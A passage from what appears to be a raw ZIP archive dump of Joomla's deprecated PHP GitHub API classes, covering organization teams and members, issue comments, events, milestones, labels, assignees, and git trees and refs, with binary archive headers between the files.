the user. * * @since 3.3 (CMS) * * @return object */ public function remove($org, $user) { // Build the request path. $path = '/orgs/' . $org . '/members/' . $user; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * Public members list. * * Members of an organization can choose to have their membership publicized or not. * * @param string $org The name of the organization. * * @since 3.3 (CMS) * * @return object */ public function getListPublic($org) { // Build the request path. $path = '/orgs/' . $org . '/public_members'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Check public membership. * * @param string $org The name of the organization. * @param string $user The name of the user. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return object */ public function checkPublic($org, $user) { // Build the request path. $path = '/orgs/' . $org . '/public_members/' . $user; $response = $this->client->get($this->fetchUrl($path)); switch ($response->code) { case 204 : // Response if user is a public member. return true; break; case 404 : // Response if user is not a public member. return false; break; default : throw new UnexpectedValueException('Unexpected response code: ' . $response->code); break; } } /** * Publicize a user’s membership. * * @param string $org The name of the organization. * @param string $user The name of the user. * * @since 3.3 (CMS) * * @return object */ public function publicize($org, $user) { // Build the request path. $path = '/orgs/' . $org . '/public_members/' . $user; return $this->processResponse( $this->client->put($this->fetchUrl($path), ''), 204 ); } /** * Conceal a user’s membership. * * @param string $org The name of the organization. * @param string $user The name of the user. * * @since 3.3 (CMS) * * @return object */ public function conceal($org, $user) { // Build the request path. $path = '/orgs/' . $org . '/public_members/' . $user; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\�.�܇%�%$joomla/github/package/orgs/teams.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Orgs Teams class for the Joomla Platform. * * All actions against teams require at a minimum an authenticated user who is a member * of the owner’s team in the :org being managed. Additionally, OAuth users require “user” scope. * * @documentation https://developer.github.com/v3/orgs/teams/ * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageOrgsTeams extends JGithubPackage { /** * List teams. * * @param string $org The name of the organization. * * @since 3.3 (CMS) * * @return object */ public function getList($org) { // Build the request path. $path = '/orgs/' . $org . '/teams'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get team. * * @param integer $id The team id. * * @since 3.3 (CMS) * * @return object */ public function get($id) { // Build the request path. $path = '/teams/' . (int) $id; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Create team. * * In order to create a team, the authenticated user must be an owner of the organization. * * @param string $org The name of the organization. * @param string $name The name of the team. * @param array $repoNames Repository names. * @param string $permission The permission. * pull - team members can pull, but not push to or administer these repositories. Default * push - team members can pull and push, but not administer these repositories. * admin - team members can pull, push and administer these repositories. * * @throws UnexpectedValueException * * @since 3.3 (CMS) * * @return object */ public function create($org, $name, array $repoNames = array(), $permission = '') { // Build the request path. $path = '/orgs/' . $org . '/teams'; $data = array( 'name' => $name, ); if ($repoNames) { $data['repo_names'] = $repoNames; } if ($permission) { if (false == in_array($permission, array('pull', 'push', 'admin'))) { throw new UnexpectedValueException('Permissions must be either "pull", "push", or "admin".'); } $data['permission'] = $permission; } return $this->processResponse( $this->client->post($this->fetchUrl($path), $data), 201 ); } /** * Edit team. * * In order to edit a team, the authenticated user must be an owner of the org that the team is associated with. * * @param integer $id The team id. * @param string $name The name of the team. * @param string $permission The permission. * pull - team members can pull, but not push to or administer these repositories. Default * push - team members can pull and push, but not administer these repositories. * admin - team members can pull, push and administer these repositories. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return object */ public function edit($id, $name, $permission = '') { // Build the request path. $path = '/teams/' . (int) $id; $data = array( 'name' => $name, ); if ($permission) { if (false == in_array($permission, array('pull', 'push', 'admin'))) { throw new UnexpectedValueException('Permissions must be either "pull", "push", or "admin".'); } $data['permission'] = $permission; } return $this->processResponse( $this->client->patch($this->fetchUrl($path), $data) ); } /** * Delete team. * * In order to delete a team, the authenticated user must be an owner of the org that the team is associated with. * * @param integer $id The team id. * * @since 3.3 (CMS) * * @return object */ public function delete($id) { // Build the request path. $path = '/teams/' . $id; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * List team members. * * In order to list members in a team, the authenticated user must be a member of the team. * * @param integer $id The team id. * * @since 3.3 (CMS) * * @return object */ public function getListMembers($id) { // Build the request path. $path = '/teams/' . $id . '/members'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get team member. * * In order to get if a user is a member of a team, the authenticated user must be a member of the team. * * @param integer $id The team id. * @param string $user The name of the user. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return object */ public function isMember($id, $user) { // Build the request path. $path = '/teams/' . $id . '/members/' . $user; $response = $this->client->get($this->fetchUrl($path)); switch ($response->code) { case 204 : // Response if user is a member return true; break; case 404 : // Response if user is not a member return false; break; default : throw new UnexpectedValueException('Unexpected response code: ' . $response->code); break; } } /** * Add team member. * * In order to add a user to a team, the authenticated user must have ‘admin’ permissions * to the team or be an owner of the org that the team is associated with. * * @param integer $id The team id. * @param string $user The name of the user. * * @since 3.3 (CMS) * * @return object */ public function addMember($id, $user) { // Build the request path. $path = '/teams/' . $id . '/members/' . $user; return $this->processResponse( $this->client->put($this->fetchUrl($path), ''), 204 ); } /** * Remove team member. * * In order to remove a user from a team, the authenticated user must have ‘admin’ permissions * to the team or be an owner of the org that the team is associated with. * NOTE: This does not delete the user, it just remove them from the team. * * @param integer $id The team id. * @param string $user The name of the user. * * @since 3.3 (CMS) * * @return object */ public function removeMember($id, $user) { // Build the request path. $path = '/teams/' . $id . '/members/' . $user; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * List team repos. * * @param integer $id The team id. * * @since 3.3 (CMS) * * @return object */ public function getListRepos($id) { // Build the request path. $path = '/teams/' . $id . '/repos'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Check if the repo is managed by this team. * * @param integer $id The team id. * @param string $repo The name of the GitHub repository. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return object */ public function checkRepo($id, $repo) { // Build the request path. $path = '/teams/' . $id . '/repos/' . $repo; $response = $this->client->get($this->fetchUrl($path)); switch ($response->code) { case 204 : // Response if repo is managed by this team. return true; break; case 404 : // Response if repo is not managed by this team. return false; break; default : throw new UnexpectedValueException('Unexpected response code: ' . $response->code); break; } } /** * Add team repo. * * In order to add a repo to a team, the authenticated user must be an owner of the * org that the team is associated with. Also, the repo must be owned by the organization, * or a direct form of a repo owned by the organization. * * If you attempt to add a repo to a team that is not owned by the organization, you get: * Status: 422 Unprocessable Entity * * @param integer $id The team id. * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * * @since 3.3 (CMS) * * @return object */ public function addRepo($id, $owner, $repo) { // Build the request path. $path = '/teams/' . $id . '/repos/' . $owner . '/' . $repo; return $this->processResponse( $this->client->put($this->fetchUrl($path), ''), 204 ); } /** * Remove team repo. * * In order to remove a repo from a team, the authenticated user must be an owner * of the org that the team is associated with. NOTE: This does not delete the * repo, it just removes it from the team. * * @param integer $id The team id. * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * * @since 3.3 (CMS) * * @return object */ public function removeRepo($id, $owner, $repo) { // Build the request path. $path = '/teams/' . (int) $id . '/repos/' . $owner . '/' . $repo; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\���~)joomla/github/package/issues/comments.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Comments class for the Joomla Platform. * * The Issue Comments API supports listing, viewing, editing, and creating comments * on issues and pull requests. * * @documentation https://developer.github.com/v3/issues/comments/ * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageIssuesComments extends JGithubPackage { /** * Method to get the list of comments on an issue. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $issueId The issue number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getList($owner, $repo, $issueId, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/' . (int) $issueId . '/comments'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path, $page, $limit)) ); } /** * Method to get the list of comments in a repository. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sort The sort field - created or updated. * @param string $direction The sort order- asc or desc. Ignored without sort parameter. * @param JDate $since A timestamp in ISO 8601 format. * * @throws UnexpectedValueException * @throws DomainException * @since 1.7.3 * * @return array */ public function getRepositoryList($owner, $repo, $sort = 'created', $direction = 'asc', JDate $since = null) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/comments'; if (false == in_array($sort, array('created', 'updated'))) { throw new UnexpectedValueException( sprintf( '%1$s - sort field must be "created" or "updated"', __METHOD__ ) ); } if (false == in_array($direction, array('asc', 'desc'))) { throw new UnexpectedValueException( sprintf( '%1$s - direction field must be "asc" or "desc"', __METHOD__ ) ); } $path .= '?sort=' . $sort; $path .= '&direction=' . $direction; if ($since) { $path .= '&since=' . $since->toISO8601(); } // Send the request. return $this->processResponse($this->client->get($this->fetchUrl($path))); } /** * Method to get a single comment. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id The comment id. * * @return mixed */ public function get($owner, $repo, $id) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/comments/' . (int) $id; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Method to update a comment on an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The id of the comment to update. * @param string $body The new body text for the comment. * * @since 1.7.3 * @throws DomainException * * @return object */ public function edit($user, $repo, $commentId, $body) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/issues/comments/' . (int) $commentId; // Build the request data. $data = json_encode( array( 'body' => $body, ) ); // Send the request. return $this->processResponse( $this->client->patch($this->fetchUrl($path), $data) ); } /** * Method to create a comment on an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $issueId The issue number. * @param string $body The comment body text. * * @throws DomainException * @since 1.7.3 * * @return object */ public function create($user, $repo, $issueId, $body) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/issues/' . (int) $issueId . '/comments'; // Build the request data. $data = json_encode( array( 'body' => $body, ) ); // Send the request. return $this->processResponse( $this->client->post($this->fetchUrl($path), $data), 201 ); } /** * Method to delete a comment on an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The id of the comment to delete. * * @throws DomainException * @since 1.7.3 * * @return boolean */ public function delete($user, $repo, $commentId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/issues/comments/' . (int) $commentId; // Send the request. $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); return true; } } PK�\`Ȝ�� � 'joomla/github/package/issues/events.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Issues Events class for the Joomla Platform. * * Records various events that occur around an Issue or Pull Request. * This is useful both for display on issue/pull request information pages and also * to determine who should be notified of comments. * * @documentation https://developer.github.com/v3/issues/events/ * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageIssuesEvents extends JGithubPackage { /** * List events for an issue. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $issueNumber The issue number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @return object */ public function getList($owner, $repo, $issueNumber, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/' . (int) $issueNumber . '/events'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path, $page, $limit)) ); } /** * List events for a repository. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $issueId The issue number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @return object */ public function getListRepository($owner, $repo, $issueId, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/' . (int) $issueId . '/comments'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path, $page, $limit)) ); } /** * Get a single event. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id The event number. * * @return object */ public function get($owner, $repo, $id) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/events/' . (int) $id; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } } PK�\D�����+joomla/github/package/issues/milestones.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Milestones class for the Joomla Platform. * * @documentation https://developer.github.com/v3/issues/milestones/ * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageIssuesMilestones extends JGithubPackage { /** * Method to get the list of milestones for a repo. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $state The milestone state to retrieved. Open (default) or closed. * @param string $sort Sort can be due_date (default) or completeness. * @param string $direction Direction is asc or desc (default). * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 3.1.4 * * @return array */ public function getList($user, $repo, $state = 'open', $sort = 'due_date', $direction = 'desc', $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones?'; $path .= 'state=' . $state; $path .= '&sort=' . $sort; $path .= '&direction=' . $direction; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a specific milestone. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $milestoneId The milestone id to get. * * @throws DomainException * @return object * * @since 3.1.4 */ public function get($user, $repo, $milestoneId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones/' . (int) $milestoneId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to create a milestone for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $title The title of the milestone. * @param string $state Can be open (default) or closed. * @param string $description Optional description for milestone. * @param string $dueOn Optional ISO 8601 time. * * @throws DomainException * @return object * * @since 3.1.4 */ public function create($user, $repo, $title, $state = null, $description = null, $dueOn = null) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones'; // Build the request data. $data = array( 'title' => $title, ); if (!is_null($state)) { $data['state'] = $state; } if (!is_null($description)) { $data['description'] = $description; } if (!is_null($dueOn)) { $data['due_on'] = $dueOn; } $data = json_encode($data); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to update a milestone. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $milestoneId The id of the comment to update. * @param integer $title Optional title of the milestone. * @param string $state Can be open (default) or closed. * @param string $description Optional description for milestone. * @param string $dueOn Optional ISO 8601 time. * * @throws DomainException * @return object * * @since 3.1.4 */ public function edit($user, $repo, $milestoneId, $title = null, $state = null, $description = null, $dueOn = null) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones/' . (int) $milestoneId; // Build the request data. $data = array(); if (!is_null($title)) { $data['title'] = $title; } if (!is_null($state)) { $data['state'] = $state; } if (!is_null($description)) { $data['description'] = $description; } if (!is_null($dueOn)) { $data['due_on'] = $dueOn; } $data = json_encode($data); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to delete a milestone. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $milestoneId The id of the milestone to delete. * * @throws DomainException * @return void * * @since 3.1.4 */ public function delete($user, $repo, $milestoneId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones/' . (int) $milestoneId; // Send the request. $response = $this->client->delete($this->fetchUrl($path)); // Validate the response code. if ($response->code != 204) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } } } PK�\���'joomla/github/package/issues/labels.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Milestones class for the Joomla Platform. * * @documentation https://developer.github.com/v3/issues/labels/ * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageIssuesLabels extends JGithubPackage { /** * Method to get the list of labels on a repo. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * * @throws DomainException * @since 3.1.4 * * @return array */ public function getList($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/labels'; // Send the request. return $this->processResponse( $response = $this->client->get($this->fetchUrl($path)) ); } /** * Method to get a specific label on a repo. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $name The label name to get. * * @throws DomainException * @since 3.1.4 * * @return object */ public function get($user, $repo, $name) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/labels/' . $name; // Send the request. return $this->processResponse( $response = $this->client->get($this->fetchUrl($path)) ); } /** * Method to create a label on a repo. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $name The label name. * @param string $color The label color. * * @throws DomainException * @since 3.1.4 * * @return object */ public function create($owner, $repo, $name, $color) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/labels'; // Build the request data. $data = json_encode( array( 'name' => $name, 'color' => $color, ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to update a label on a repo. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $label The label name. * @param string $name The new label name. * @param string $color The new label color. * * @throws DomainException * @since 3.1.4 * * @return object */ public function update($user, $repo, $label, $name, $color) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/labels/' . $label; // Build the request data. $data = json_encode( array( 'name' => $name, 'color' => $color, ) ); // Send the request. return $this->processResponse( $this->client->patch($this->fetchUrl($path), $data) ); } /** * Method to delete a label on a repo. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $name The label name. * * @throws DomainException * @return object * * @since 3.1.4 */ public function delete($owner, $repo, $name) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/labels/' . $name; // Send the request. return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * List labels on an issue. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $number The issue number. * * @since 3.3 (CMS) * * @return object */ public function getListByIssue($owner, $repo, $number) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/' . $number . '/labels'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Add labels to an issue. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $number The issue number. * @param array $labels An array of labels to add. * * @since 3.3 (CMS) * * @return object */ public function add($owner, $repo, $number, array $labels) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/' . $number . '/labels'; // Send the request. return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode($labels)) ); } /** * Remove a label from an issue. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $number The issue number. * @param string $name The name of the label to remove. * * @since 3.3 (CMS) * * @return object */ public function removeFromIssue($owner, $repo, $number, $name) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/' . $number . '/labels/' . $name; // Send the request. return $this->processResponse( $this->client->delete($this->fetchUrl($path)) ); } /** * Replace all labels for an issue. * * Sending an empty array ([]) will remove all Labels from the Issue. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $number The issue number. * @param array $labels New labels * * @since 3.3 (CMS) * * @return object */ public function replace($owner, $repo, $number, array $labels) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/' . $number . '/labels'; // Send the request. return $this->processResponse( $this->client->put($this->fetchUrl($path), json_encode($labels)) ); } /** .* Remove all labels from an issue. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $number The issue number. * * @since 3.3 (CMS) * * @return object */ public function removeAllFromIssue($owner, $repo, $number) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/' . $number . '/labels'; // Send the request. return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * Get labels for every issue in a milestone. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $number The issue number. * * @since 3.3 (CMS) * * @return object */ public function getListByMilestone($owner, $repo, $number) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/milestones/' . $number . '/labels'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } } PK�\���PP*joomla/github/package/issues/assignees.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Assignees class for the Joomla Platform. * * @documentation https://developer.github.com/v3/issues/assignees/ * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageIssuesAssignees extends JGithubPackage { /** * List assignees. * * This call lists all the available assignees (owner + collaborators) to which issues may be assigned. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * * @return object */ public function getList($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/assignees'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Check assignee. * * You may check to see if a particular user is an assignee for a repository. * If the given assignee login belongs to an assignee for the repository, a 204 header * with no content is returned. * Otherwise a 404 status code is returned. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $assignee The assignees login name. * * @throws DomainException|Exception * @return boolean */ public function check($owner, $repo, $assignee) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/assignees/' . $assignee; try { $response = $this->client->get($this->fetchUrl($path)); if (204 == $response->code) { return true; } throw new DomainException('Invalid response: ' . $response->code); } catch (DomainException $e) { if (isset($response->code) && 404 == $response->code) { return false; } throw $e; } } } PK�\`)� $joomla/github/package/data/trees.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Data Trees class for the Joomla Platform. * * @documentation https://developer.github.com/v3/git/trees/ * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageDataTrees extends JGithubPackage { /** * Get a Tree * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA1 value to set the reference to. * * @since 3.3 (CMS) * * @return object */ public function get($owner, $repo, $sha) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/trees/' . $sha; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get a Tree Recursively * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA1 value to set the reference to. * * @since 3.3 (CMS) * * @return object */ public function getRecursively($owner, $repo, $sha) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/trees/' . $sha . '?recursive=1'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Create a Tree. * * The tree creation API will take nested entries as well. If both a tree and a nested path * modifying that tree are specified, it will overwrite the contents of that tree with the * new path contents and write a new tree out. * * Parameters fir the tree: * * tree.path * String of the file referenced in the tree * tree.mode * String of the file mode - one of 100644 for file (blob), 100755 for executable (blob), * 040000 for subdirectory (tree), 160000 for submodule (commit) or 120000 for a blob * that specifies the path of a symlink * tree.type * String of blob, tree, commit * tree.sha * String of SHA1 checksum ID of the object in the tree * tree.content * String of content you want this file to have - GitHub will write this blob out and use * that SHA for this entry. Use either this or tree.sha * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param array $tree Array of Hash objects (of path, mode, type and sha) specifying * a tree structure * @param string $baseTree The SHA1 of the tree you want to update with new data. * * @since 3.3 (CMS) * * @return object */ public function create($owner, $repo, $tree, $baseTree = '') { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/trees'; $data = array(); $data['tree'] = $tree; if ($baseTree) { $data['base_tree'] = $baseTree; } return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode($data)), 201 ); } } PK�\����#joomla/github/package/data/refs.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API References class for the Joomla Platform. * * @documentation https://developer.github.com/v3/git/refs/ * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageDataRefs extends JGithubPackage { /** * Method to get a reference. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $ref The reference to get. * * @return object * * @since 1.7.3 */ public function get($user, $repo, $ref) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/git/refs/' . $ref; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list references for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $namespace Optional sub-namespace to limit the returned references. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @return array * * @since 1.7.3 */ public function getList($user, $repo, $namespace = '', $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/git/refs' . $namespace; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to create a ref. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $ref The name of the fully qualified reference. * @param string $sha The SHA1 value to set this reference to. * * @throws DomainException * @since 1.7.3 * * @return object */ public function create($user, $repo, $ref, $sha) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/git/refs'; // Build the request data. $data = json_encode( array( 'ref' => $ref, 'sha' => $sha, ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to update a reference. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $ref The reference to update. * @param string $sha The SHA1 value to set the reference to. * @param boolean $force Whether the update should be forced. Default to false. * * @throws DomainException * @since 1.7.3 * * @return object */ public function edit($user, $repo, $ref, $sha, $force = false) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/git/refs/' . $ref; // Craete the data object. $data = new stdClass; // If a title is set add it to the data object. if ($force) { $data->force = true; } $data->sha = $sha; // Encode the request data. $data = json_encode($data); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Delete a Reference * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $ref The reference to update. * * @since 3.3 (CMS) * @return object */ public function delete($owner, $repo, $ref) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/git/refs/' . $ref; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\9�>q��&joomla/github/package/data/commits.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub 